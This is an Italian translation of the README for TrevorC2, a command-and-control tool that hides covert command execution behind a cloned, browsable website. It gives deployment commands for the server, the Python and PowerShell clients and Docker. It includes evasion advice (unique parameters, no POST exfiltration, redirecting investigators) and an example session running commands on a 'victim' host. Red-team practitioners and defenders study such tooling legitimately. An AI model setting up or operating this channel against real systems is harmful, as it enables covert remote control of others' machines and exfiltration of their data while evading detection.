
TrevorC2 è un sito web legittimo (navigabile) che tunnelizza le comunicazioni client/server per l'esecuzione occulta di comandi.
Scritto da: Dave Kennedy (@HackingDave) Sito web: https://www.trustedsec.com
Nota: questa è una versione molto iniziale - presto verranno aggiunte randomizzazione e crittografia pesanti.
TrevorC2 è un modello client/server per mascherare il comando e controllo attraverso un sito web normalmente navigabile. Il rilevamento diventa molto più difficile poiché gli intervalli di tempo sono diversi e non utilizza richieste POST per l'esfiltrazione dei dati.
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
Ci sono due componenti in TrevorC2 - il client e il server. Il client può essere configurato per essere utilizzato con qualsiasi cosa. In questo esempio è codificato in Python ma può essere facilmente portato su C#, PowerShell o qualsiasi altra cosa desiderata. Attualmente trevorc2_client.py supporta Windows, macOS e Linux. Puoi sempre compilare in byte code quello per Windows per ottenere un eseguibile, ma la preferenza sarebbe usare Windows senza dover rilasciare un eseguibile come stager.
Il modo in cui il server funziona è nascondendo un parametro subito prima del parametro . Questo è completamente configurabile, e si raccomanda di configurare tutto per essere unico al fine di eludere il rilevamento. Ecco il flusso di lavoro:
1. trevor2_server.py - modifica prima il file e personalizza il sito web che vuoi clonare, ecc. Il server clonerà un sito web a tua scelta e avvierà un server. Questo server è navigabile da chiunque e sembra un sito web legittimo. Contenuto nel sorgente c'è un parametro che (ancora, è configurabile) contiene le istruzioni per il client. Una volta che un client si connette, cerca quel parametro, poi lo usa per eseguire comandi.
2. trevor2_client.py - tutto ciò di cui hai bisogno in qualsiasi opzione configurabile è la capacità di chiamare un sito web, analizzare alcuni dati di base, quindi eseguire un comando e poi inserire i risultati in un parametro di query string codificato in base64 per il sito. Questo è tutto, non difficile.
3. trevor2_client.ps1 - implementazione PowerShell di trevor2_client.py, questo permette di usare PowerShell nativo per interagire con Trevor2_Server.
pip install -r requirements.txt
Prima modifica trevor2_server.py - cambia le opzioni di configurazione e il sito da clonare.
python trevor2_server.py
Successivamente, modifica trevor2_client.py o .ps1 - cambia la configurazione e il sistema a cui vuoi che comunichi.
python trevor2_client.py o .\trevor2_client.ps1
TrevorC2 supporta la capacità di gestire più shell provenienti da hostname diversi. Il modo in cui TrevorC2 funziona è che identifica i nuovi hostname come sessioni. Puoi interagire con le sessioni una volta che esegui un comando. Se hai più sessioni, puoi digitare un comando e interagire con quella sessione in base al numero di sessione memorizzato globalmente.
All'avvio di TrevorC2, puoi digitare help o ? per informazioni aggiuntive. L'uso base dei comandi è "list" che elenca eventuali shell attive o nessuna, o "interact <session_id>" per interagire con la shell desiderata.
Puoi sempre digitare back/exit all'interno di una shell, rimarrà comunque attiva e non ucciderà effettivamente la shell.
Esempio qui sotto:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Cloning website: https://www.google.com
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.
Trevor C2 shell
trevorc2>help
Documented commands (type help <topic>):
========================================
exit help interact list servercmd
trevorc2>help list
Description: Lists all available agents
Usage: list
trevorc2>list
No available Agents. :-(
trevorc2>
*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>
trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
stronghold:trevorc2>ifconfig
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] Exiting TrevorC2...
Utilizza un Dockerfile basato su Alpine per distribuire trevorC2, utile per distribuzioni rapide su provider cloud.
Esempio qui sotto:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# At this point, setting up docker-machine to remotly deploy works great
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
È importante modificare le variabili presenti in ciascuno degli script. Soprattutto SITE_PATH_QUERY e la chiave di crittografia. Raccomando anche di dare un'occhiata all'opzione REDIRECT. Invece di clonare un sito web, hai un'altra opzione che reindirizzerà l'host vittima che potrebbe navigare il sito per indagare al sito legittimo. In pratica quando qualcuno visita il sito, li reindirizzerà semplicemente al sito che vuoi clonare. Cambia il sito clonato da google ad esempio a un sito diverso e imposta redirect su ON.